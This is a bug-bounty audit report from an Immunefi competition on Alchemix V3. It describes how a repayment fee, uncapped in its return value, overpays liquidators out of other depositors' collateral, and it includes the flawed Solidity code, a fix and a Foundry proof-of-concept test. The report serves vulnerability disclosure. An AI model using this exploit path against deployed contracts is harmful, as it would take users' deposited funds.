Immunefi Audit Competitions
Alchemix V3

58338 sc critical alchemistv3 repayment fee can exceed remaining collateral leading to position insolvency

Submitted on Nov 1st 2025 at 11:23:00 UTC by @T0nraq for Audit Comp | Alchemix V3

Description

Summary

When liquidating an account with earmarked debt, the repayment fee may be larger than the account’s remaining collateral after the force repayment and protocol fee are deducted. The helper _resolveRepaymentFee caps the deduction from collateralBalance, but it still returns the raw, larger fee value. The caller then transfers this larger amount to the liquidator, overpaying them from protocol-held tokens (i.e., other users’ deposits), leaving the liquidated position at zero collateral and creating an accounting shortfall. This shortfall also can/is not be added to earmarkable debt and cannot be shared globally to restore accounting parity

Vulnerability Details

_resolveRepaymentFee returns raw fee instead of the actually deducted amount

File: src/AlchemistV3.sol

function _resolveRepaymentFee(uint256 accountId, uint256 repaidAmountInYield) internal returns (uint256 fee) {
    Account storage account = _accounts[accountId];
    fee = repaidAmountInYield * repaymentFee / BPS;               // raw fee
    // Deduct only what the account can afford (caps at remaining collateral)
    account.collateralBalance -= fee > account.collateralBalance ? account.collateralBalance : fee;
    emit RepaymentFee(accountId, repaidAmountInYield, msg.sender, fee);
    return fee;                                                   // BUG: returns raw fee, not deducted amount
}

Liquidation uses the returned (raw) value for transfer

File: src/AlchemistV3.sol

// If debt is fully cleared after _forceRepay:
feeInYield = _resolveRepaymentFee(accountId, repaidAmountInYield);
TokenUtils.safeTransfer(myt, msg.sender, feeInYield);  // sends raw fee even if more than remaining collateral

Simple example

  1. Start with a position that, after force repayment and protocol fee, has 4 MYT collateral left.
  2. Repayment fee calculation yields 9 MYT.
  3. _resolveRepaymentFee deducts only 4 MYT from the account (capped at remaining collateral) but still RETURNS 9 MYT.
  4. Liquidation code transfers the returned 9 MYT to the liquidator.

Result: liquidator receives 9 MYT while the account could only afford 4 MYT. The 5 MYT shortfall is taken from protocol-held tokens (others’ deposits), position ends with 0 collateral, and the system is overpaying fees.

Impact

  • Overpayment to liquidators using protocol-held tokens (socializes losses across depositors).
  • Liquidated positions end at zero collateral even when they could not afford the full fee.
  • Accounting shortfall that compounds over multiple liquidations; can lead to insolvency risk and misleading system metrics.

Return the amount actually deducted from collateralBalance, not the raw fee. Keep calculation simple and safe by capping first, then subtracting, then returning what was paid.

function _resolveRepaymentFee(uint256 accountId, uint256 repaidAmountInYield) internal returns (uint256 feePaid) {
    Account storage account = _accounts[accountId];
    uint256 fee = repaidAmountInYield * repaymentFee / BPS;                // raw
    feePaid = fee > account.collateralBalance ? account.collateralBalance : fee; // cap to affordability
    if (feePaid > 0) {
        account.collateralBalance -= feePaid;
    }
    emit RepaymentFee(accountId, repaidAmountInYield, msg.sender, feePaid);
    return feePaid;                                                        // return what was actually deducted
}

Proof of Concept

Proof of Concept

  • Test file: src/test/AlchemistV3.t.sol
  • Add test function (snippet below): testLiquidate_Undercollateralized_Position_With_Earmarked_Debt_Insufficient_Collateral_For_RepaymentFee()

Run the POC:

forge test --match-test testLiquidate_Undercollateralized_Position_With_Earmarked_Debt_Insufficient_Collateral_For_RepaymentFee -vvvv

    function testLiquidate_Undercollateralized_Position_With_Earmarked_Debt_Insufficient_Collateral_For_RepaymentFee() external {
        vm.startPrank(alOwner);
        alchemist.setRepaymentFee(500);
        vm.stopPrank();
        vm.startPrank(someWhale);
        IMockYieldToken(mockStrategyYieldToken).mint(whaleSupply, someWhale);
        vm.stopPrank();

        // just ensureing global alchemist collateralization stays above the minimum required for regular liquidations
        // no need to mint anything
        vm.startPrank(yetAnotherExternalUser);
        SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount * 2);
        alchemist.deposit(depositAmount, yetAnotherExternalUser, 0);
        vm.stopPrank();

        vm.startPrank(address(0xbeef));
        SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount + 100e18);
        alchemist.deposit(depositAmount, address(0xbeef), 0);
        // a single position nft would have been minted to 0xbeef
        uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
        uint256 mintAmount = alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR / minimumCollateralization;

        alchemist.mint(tokenIdFor0xBeef, mintAmount, address(0xbeef));
        vm.stopPrank();

        // Need to start a transmutator deposit, to start earmarking debt
        vm.startPrank(anotherExternalUser);
        SafeERC20.safeApprove(address(alToken), address(transmuterLogic), mintAmount);
        transmuterLogic.createRedemption(mintAmount);
        vm.stopPrank();

        uint256 transmuterPreviousBalance = IERC20(address(vault)).balanceOf(address(transmuterLogic));

        // skip to a future block. Lets say 100% of the way through the transmutation period (5_256_000 blocks)
        vm.roll(block.number + (5_256_000));

        // Earmarked debt should be 100% of the total debt
        (uint256 prevCollateral, uint256 prevDebt, uint256 earmarked) = alchemist.getCDP(tokenIdFor0xBeef);
        require(earmarked == prevDebt, "Earmarked debt should be 60% of the total debt");

        // modify yield token price via modifying underlying token supply
        uint256 initialVaultSupply = IERC20(address(mockStrategyYieldToken)).totalSupply();
        IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(initialVaultSupply);
        // increasing yeild token suppy by 59 bps or 5.9%  while keeping the unederlying supply unchanged
        uint256 modifiedVaultSupply = (initialVaultSupply * 590 / 10_000) + initialVaultSupply;
        IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(modifiedVaultSupply);

        // ensure initial debt is correct
        vm.assertApproxEqAbs(prevDebt, 180_000_000_000_000_000_018_000, minimumDepositOrWithdrawalLoss);

        // let another user liquidate the previous user position
        vm.startPrank(externalUser);
        uint256 liquidatorPrevTokenBalance = IERC20(address(vault)).balanceOf(address(externalUser));
        uint256 liquidatorPrevUnderlyingBalance = IERC20(vault.asset()).balanceOf(address(externalUser));
        (uint256 assets, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenIdFor0xBeef);
        (uint256 depositedCollateral, uint256 debt,) = alchemist.getCDP(tokenIdFor0xBeef);

        uint256 repaymentFee = alchemist.convertDebtTokensToYield(earmarked) * 500 / BPS;

        console.log("compare", repaymentFee, depositedCollateral);
        console.log(repaymentFee > depositedCollateral);
        console.log(depositedCollateral == 0);

        vm.stopPrank();

        // ensure debt is reduced only by the repayment of max earmarked amount
        vm.assertApproxEqAbs(debt, prevDebt - earmarked, minimumDepositOrWithdrawalLoss);

        // ensure depositedCollateral is reduced only by the repayment of max earmarked amount
        // vm.assertApproxEqAbs(depositedCollateral, prevCollateral - alchemist.convertDebtTokensToYield(earmarked) - repaymentFee, minimumDepositOrWithdrawalLoss);

        // ensure assets is equal to repayment of max earmarked amount
        vm.assertApproxEqAbs(assets, alchemist.convertDebtTokensToYield(earmarked), minimumDepositOrWithdrawalLoss);

        // ensure liquidator fee is correct (i.e. only repayment fee, since only a repayment is done)
        vm.assertApproxEqAbs(feeInYield, repaymentFee, 1e18);
        vm.assertEq(feeInUnderlying, 0);

        // liquidator gets correct amount of fee, i.e. repayment fee > 0
        _validateLiquidiatorState(
            externalUser,
            liquidatorPrevTokenBalance,
            liquidatorPrevUnderlyingBalance,
            feeInYield,
            feeInUnderlying,
            assets,
            alchemist.convertDebtTokensToYield(earmarked)
        );

        vm.assertEq(alchemistFeeVault.totalDeposits(), 10_000 ether);

        // transmuter recieves the liquidation amount in yield token minus the fee
        vm.assertApproxEqAbs(
            IERC20(address(vault)).balanceOf(address(transmuterLogic)), transmuterPreviousBalance + alchemist.convertDebtTokensToYield(earmarked), 1e18
        );

        uint256 mytSharesDeposited = alchemist._mytSharesDeposited();
        uint256 actualVaultBalance = IERC20(address(vault)).balanceOf(address(alchemist)) + IERC20(address(vault)).balanceOf(address(transmuterLogic));
        
        console.log("=== ACCOUNTING BUG DEMONSTRATION ===");
        console.log("_mytSharesDeposited:", mytSharesDeposited);
        console.log("Actual vault balance:", actualVaultBalance);
        console.log("Discrepancy:", mytSharesDeposited - actualVaultBalance);

        // show that fee cut out of other users liqudity and now the entire system is insolvent
        assertTrue(mytSharesDeposited > actualVaultBalance, "BUG CONFIRMED: _mytSharesDeposited accounting is higher than actual vault balance after force repay");
    }